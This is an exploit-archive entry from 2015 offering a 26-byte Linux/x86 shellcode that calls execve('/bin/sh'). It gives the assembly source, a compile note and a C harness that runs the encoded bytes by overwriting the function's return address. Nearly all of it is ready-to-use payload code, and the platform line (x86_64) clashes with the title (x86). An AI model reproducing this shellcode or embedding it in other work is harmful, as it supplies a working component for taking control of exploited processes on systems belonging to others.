linux/x86 execve "/bin/sh" shellcode - 26 bytes



EKU-ID: 4857 CVE: OSVDB-ID:
Author: Reza Behzadpour Published: 2015-05-22 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*
; Title: Linux/x86 execve "/bin/sh" - shellcode 26 bytes
; Platform: linux/x86_64
; Date: 2015-05-19
; Author: Reza Behzadpour
; Simple ShellCode
   
    section .text
    global _start
       
    _start:
       
    xor  ecx,ecx
    mul  ecx
   
    ;execve("/bin/sh", NULL, NULL)
    mov  al,11
    jmp  shell
    shell_ret:
    pop  ebx
    push ecx
    push ebx
    pop  ebx
    int  0x80
    
    shell:
    call shell_ret
    db  "/bin/sh"
   
*/
   
/*
   
# tcc -o ./shellcode ./shellcode.c
# uname -r
3.12-kali1-686-pae
   
*/
   
#include <stdio.h>
#include <string.h>
     
char shellcode[] = {
     "\x31\xc9\xf7\xe1\xb0\x0b\xeb\x06\x5b"
     "\x51\x53\x5b\xcd\x80\xe8\xf5\xff\xff"
     "\xff\x2f\x62\x69\x6e\x2f\x73\x68"
};
    
int main() 
{
    
    printf("Shellcode Length:  %d\n", (int)strlen(shellcode));
    int *ret;
    ret = (int *) &ret + 2;
    (*ret) = (int) shellcode;
    
    return 0;
}